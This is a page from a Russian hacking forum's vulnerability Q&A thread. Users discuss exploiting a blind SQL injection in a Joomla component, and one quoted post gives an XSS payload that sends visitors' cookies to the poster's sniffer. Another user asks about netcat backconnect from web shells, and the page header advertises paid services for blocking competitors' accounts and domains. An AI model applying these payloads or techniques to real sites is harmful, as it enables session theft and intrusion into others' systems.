Ваши вопросы по уязвимостям.

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 846 из 2438

846

Опции темы

Поиск в этой теме

Опции просмотра

#8451

10.08.2009, 11:01

FAQ666

Познающий

Регистрация: 17.09.2008

Сообщений: 56

С нами: 9288289

Репутация: 40

Спасибо. Тогда остается только BENCHMARK()

#8452

10.08.2009, 11:07

PaCo

Постоянный

Регистрация: 06.02.2008

Сообщений: 494

С нами: 9610769

Репутация: 380

Цитата:

Сообщение от FAQ666

Спасибо. Тогда остается только BENCHMARK()

Ну судя по приведенному запросу можно выполнить union select - зачем BENCHMARK()? Или данные не выводяться?

#8453

10.08.2009, 11:22

FAQ666

Познающий

Регистрация: 17.09.2008

Сообщений: 56

С нами: 9288289

Репутация: 40

Цитата:

Сообщение от PaCo

Ну судя по приведенному запросу можно выполнить union select - зачем BENCHMARK()? Или данные не выводяться?

Нет вывода)
Компонент популярный запощу в уязвимости)

#8454

10.08.2009, 11:28

Qwazar

Leaders of Antichat - Level 4

Регистрация: 02.06.2005

Сообщений: 1,411

С нами: 11020706

Репутация: 4693

Цитата:

Сообщение от FAQ666

Спасибо. Тогда остается только BENCHMARK()

Вывода ошибки тоже нет? И страницы совсем никак не отличаются?

__________________
Я отдал бы немало за пару крыльев,
Я отдал бы немало за третий глаз
За руку на которой четырнадцать пальцев
Мне нужен для дыхания другой газ..

Мой блог:http://qwazar.ru/.

#8455

10.08.2009, 11:30

FAQ666

Познающий

Регистрация: 17.09.2008

Сообщений: 56

С нами: 9288289

Репутация: 40

Цитата:

Сообщение от Qwazar

Вывода ошибки тоже нет? И страницы совсем никак не отличаются?

\
Да)

#8456

10.08.2009, 11:51

PaCo

Постоянный

Регистрация: 06.02.2008

Сообщений: 494

С нами: 9610769

Репутация: 380

Судя по коду если гверя вернет error то имеется соотвествуюший вывод ошибки:

PHP код:


		
			
if ($database->getErrorNum()) {

                            trigger_error("DB reports: ".$database->stderr(), E_USER_WARNING);

                        }

можно попробывать more one row, правда сам не смотрел.

#8457

10.08.2009, 12:15

FAQ666

Познающий

Регистрация: 17.09.2008

Сообщений: 56

С нами: 9288289

Репутация: 40

Цитата:

Сообщение от PaCo

Судя по коду если гверя вернет error то имеется соотвествуюший вывод ошибки:

PHP код:


		
			
if ($database->getErrorNum()) {

                            trigger_error("DB reports: ".$database->stderr(), E_USER_WARNING);

                        }

можно попробывать more one row, правда сам не смотрел.

Напиши запрос полностью а то непоймучто ты предлагаешь)

#8458

10.08.2009, 12:18

Jokester

Познавший АНТИЧАТ

Регистрация: 18.02.2008

Сообщений: 1,136

С нами: 9593606

Репутация: 4915

Цитата:

Сообщение от FAQ666

Напиши запрос полностью а то непоймучто ты предлагаешь)

Давай-ка ты сначала нормально разберёшься, а потом будешь постить это в уязвимости джумлы.

Ни кода, ни примера, ни версии, нифига нет. Это не баг, а хрен знает что. Или отредактируй пост нормально, или я его снесу. Разберёшься выложишь

Цитата:

Сообщение от FAQ666

Вывода нету и не слепая

Это что вообще должно означать по твоему?!

Последний раз редактировалось jokester; 10.08.2009 в 12:21..

#8459

11.08.2009, 00:19

JOHNik

Познающий

Регистрация: 21.04.2009

Сообщений: 58

С нами: 8976725

Репутация: 34

Цитата:

Сообщение от SkyFox

XSS. Вобщем случайно обнаружил, но так как опыта нет, прошу помощи.

<img src="javascript:img = new Image(); img.src='адрес_к_моему_снифферу ';" >

Сниффер выдаёт жпег пикчу. Запрос проходит успешно, куки отправляются, но картинка не показывается.

Найди в своем сниффере файл config.php и обрати внимание на строчку "$image_filename = "ПУТЬ К КАРТИНКЕ";

#8460

11.08.2009, 01:37

~~Explоit~~

Banned

Регистрация: 21.07.2009

Сообщений: 20

С нами: 8845773

Репутация: -11

Почему на всех моих веб шеллах не открвается порт для конекта нетката?

И подскажите как юзать неткат в режиме backconnect через дедик

ЗЫ один мембер зашол в тему и ущол ((

Последний раз редактировалось Explоit; 11.08.2009 в 01:40..

Страница 846 из 2438

846

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 5 (пользователей: 0 , гостей: 5)

Быстрый переход